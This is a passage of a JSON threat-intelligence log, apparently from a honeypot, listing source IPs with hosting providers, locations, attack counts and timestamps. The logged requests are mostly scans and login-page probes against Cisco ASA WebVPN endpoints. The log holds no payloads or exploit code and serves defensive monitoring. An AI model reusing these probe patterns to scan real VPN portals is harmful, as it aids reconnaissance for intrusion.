      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "45.153.162.144": {
      "attack_count": 2,
      "first_seen": "2026-05-07T05:17:22.487Z",
      "last_seen": "2026-05-07T05:17:23.268Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 2914,
      "as_org": "NTT America, Inc."
    },
    "64.62.156.59": {
      "attack_count": 2,
      "first_seen": "2026-05-04T07:51:27.686Z",
      "last_seen": "2026-05-04T07:53:07.440Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "153.76.29.102": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:02:14.572Z",
      "last_seen": "2026-05-30T15:02:14.572Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "195.96.139.59": {
      "attack_count": 1,
      "first_seen": "2026-05-22T19:11:53.822Z",
      "last_seen": "2026-05-22T19:11:53.822Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "3.87.26.96": {
      "attack_count": 1,
      "first_seen": "2026-05-17T00:59:23.058Z",
      "last_seen": "2026-05-17T00:59:23.058Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.174.186.68": {
      "attack_count": 1,
      "first_seen": "2026-05-14T00:56:35.161Z",
      "last_seen": "2026-05-14T00:56:35.161Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.119": {
      "attack_count": 1,
      "first_seen": "2026-05-29T07:59:46.809Z",
      "last_seen": "2026-05-29T07:59:46.809Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.238": {
      "attack_count": 1,
      "first_seen": "2026-05-03T05:29:35.417Z",
      "last_seen": "2026-05-03T05:29:35.417Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "87.236.176.140": {
      "attack_count": 1,
      "first_seen": "2026-05-11T12:16:22.503Z",
      "last_seen": "2026-05-11T12:16:22.503Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.230.168.210": {
      "attack_count": 1,
      "first_seen": "2026-05-03T11:47:12.225Z",
      "last_seen": "2026-05-03T11:47:12.225Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.213": {
      "attack_count": 1,
      "first_seen": "2026-05-14T02:46:15.967Z",
      "last_seen": "2026-05-14T02:46:15.967Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "92.53.182.229": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:07:18.369Z",
      "last_seen": "2026-05-30T15:07:18.369Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "193.138.218.217": {
      "attack_count": 69,
      "first_seen": "2026-05-08T15:21:34.652Z",
      "last_seen": "2026-05-30T09:16:08.314Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Malm\u00f6",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "170.62.100.151": {
      "attack_count": 66,
      "first_seen": "2026-05-20T02:07:59.124Z",
      "last_seen": "2026-05-30T10:26:32.331Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.209.198.198": {
      "attack_count": 60,
      "first_seen": "2026-05-09T04:35:14.949Z",
      "last_seen": "2026-05-30T13:25:21.052Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "68.235.46.112": {
      "attack_count": 45,
      "first_seen": "2026-05-02T01:24:30.413Z",
      "last_seen": "2026-05-30T15:33:01.801Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.222.209": {
      "attack_count": 42,
      "first_seen": "2026-05-04T16:48:52.030Z",
      "last_seen": "2026-05-30T07:33:56.505Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "93.152.221.30": {
      "attack_count": 39,
      "first_seen": "2026-05-18T08:42:18.478Z",
      "last_seen": "2026-05-18T10:27:50.388Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209896,
      "as_org": "Contrust Solutions S.R.L."
    },
    "103.102.247.150": {
      "attack_count": 32,
      "first_seen": "2026-05-07T10:58:37.930Z",
      "last_seen": "2026-05-27T18:43:13.407Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "68.235.46.18": {
      "attack_count": 30,
      "first_seen": "2026-05-03T16:22:57.377Z",
      "last_seen": "2026-05-27T10:33:26.795Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "166.88.41.243": {
      "attack_count": 28,
      "first_seen": "2026-05-26T18:36:18.671Z",
      "last_seen": "2026-05-27T20:24:25.739Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "186.243.151.19": {
      "attack_count": 28,
      "first_seen": "2026-05-26T14:07:02.928Z",
      "last_seen": "2026-05-29T06:57:38.739Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Queens",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "185.156.46.150": {
      "attack_count": 27,
      "first_seen": "2026-05-05T09:37:32.289Z",
      "last_seen": "2026-05-29T12:10:37.528Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.82.194": {
      "attack_count": 27,
      "first_seen": "2026-05-04T20:48:00.798Z",
      "last_seen": "2026-05-29T23:30:59.139Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.206": {
      "attack_count": 27,
      "first_seen": "2026-05-02T04:59:49.841Z",
      "last_seen": "2026-05-30T10:42:30.726Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.99": {
      "attack_count": 27,
      "first_seen": "2026-05-02T02:49:39.008Z",
      "last_seen": "2026-05-26T17:35:58.424Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "104.36.50.50": {
      "attack_count": 24,
      "first_seen": "2026-05-04T14:23:21.148Z",
      "last_seen": "2026-05-29T19:29:59.141Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.119.200": {
      "attack_count": 24,
      "first_seen": "2026-05-05T04:12:49.517Z",
      "last_seen": "2026-05-30T06:46:18.646Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.24": {
      "attack_count": 24,
      "first_seen": "2026-05-06T04:24:21.143Z",
      "last_seen": "2026-05-30T11:08:20.590Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.247.80": {
      "attack_count": 21,
      "first_seen": "2026-05-04T16:29:34.424Z",
      "last_seen": "2026-05-27T18:52:55.016Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "141.133.125.95": {
      "attack_count": 21,
      "first_seen": "2026-05-27T09:57:13.835Z",
      "last_seen": "2026-05-29T03:18:14.841Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Death Valley",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "172.120.195.223": {
      "attack_count": 21,
      "first_seen": "2026-05-27T18:34:54.459Z",
      "last_seen": "2026-05-30T09:49:53.701Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "193.160.216.144": {
      "attack_count": 21,
      "first_seen": "2026-05-26T02:01:07.279Z",
      "last_seen": "2026-05-27T07:52:38.354Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Beecher City",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.168.216.150": {
      "attack_count": 21,
      "first_seen": "2026-05-10T09:15:59.693Z",
      "last_seen": "2026-05-26T02:58:38.237Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "79.127.217.42": {
      "attack_count": 21,
      "first_seen": "2026-05-05T14:50:00.658Z",
      "last_seen": "2026-05-29T18:54:16.552Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "79.127.222.215": {
      "attack_count": 21,
      "first_seen": "2026-05-04T17:48:04.616Z",
      "last_seen": "2026-05-27T19:51:52.738Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "23.160.24.150": {
      "attack_count": 18,
      "first_seen": "2026-05-04T13:56:22.628Z",
      "last_seen": "2026-05-31T01:07:03.409Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.102.150": {
      "attack_count": 18,
      "first_seen": "2026-05-02T07:43:22.212Z",
      "last_seen": "2026-05-21T03:14:45.601Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.171.101": {
      "attack_count": 15,
      "first_seen": "2026-05-05T21:47:49.127Z",
      "last_seen": "2026-05-26T07:05:11.852Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.172.165": {
      "attack_count": 15,
      "first_seen": "2026-05-05T09:49:09.935Z",
      "last_seen": "2026-05-25T19:54:47.007Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.115.150": {
      "attack_count": 15,
      "first_seen": "2026-05-22T23:22:13.450Z",
      "last_seen": "2026-05-31T05:10:46.014Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.195": {
      "attack_count": 15,
      "first_seen": "2026-05-14T06:54:20.614Z",
      "last_seen": "2026-05-26T18:53:45.599Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "135.106.5.212": {
      "attack_count": 14,
      "first_seen": "2026-05-26T18:09:37.053Z",
      "last_seen": "2026-05-29T19:41:41.845Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Franklin",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "166.88.49.101": {
      "attack_count": 14,
      "first_seen": "2026-05-27T03:21:17.649Z",
      "last_seen": "2026-05-28T00:36:37.584Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "192.144.16.182": {
      "attack_count": 14,
      "first_seen": "2026-05-26T14:14:22.027Z",
      "last_seen": "2026-05-27T05:46:58.443Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.160.218.235": {
      "attack_count": 14,
      "first_seen": "2026-05-29T01:45:41.493Z",
      "last_seen": "2026-05-29T03:31:05.770Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Fort Peck",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "31.222.245.170": {
      "attack_count": 14,
      "first_seen": "2026-05-26T01:32:21.460Z",
      "last_seen": "2026-05-30T10:27:26.663Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hartsville",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.192.46.175": {
      "attack_count": 14,
      "first_seen": "2026-05-27T14:26:37.341Z",
      "last_seen": "2026-05-29T23:05:29.185Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "77.83.4.185": {
      "attack_count": 14,
      "first_seen": "2026-05-26T19:04:58.685Z",
      "last_seen": "2026-05-29T10:59:53.077Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.147.89.232": {
      "attack_count": 12,
      "first_seen": "2026-05-04T14:08:41.196Z",
      "last_seen": "2026-05-05T19:55:44.623Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "23.162.40.80": {
      "attack_count": 12,
      "first_seen": "2026-05-05T06:38:28.717Z",
      "last_seen": "2026-05-30T13:38:21.537Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.100.73": {
      "attack_count": 12,
      "first_seen": "2026-05-14T07:33:58.219Z",
      "last_seen": "2026-05-22T19:12:08.804Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.24": {
      "attack_count": 12,
      "first_seen": "2026-05-04T23:43:49.128Z",
      "last_seen": "2026-05-23T08:25:46.924Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.199.43.73": {
      "attack_count": 9,
      "first_seen": "2026-05-05T08:13:57.340Z",
      "last_seen": "2026-05-26T17:27:21.823Z",
      "ports": [],
      "event_types": [
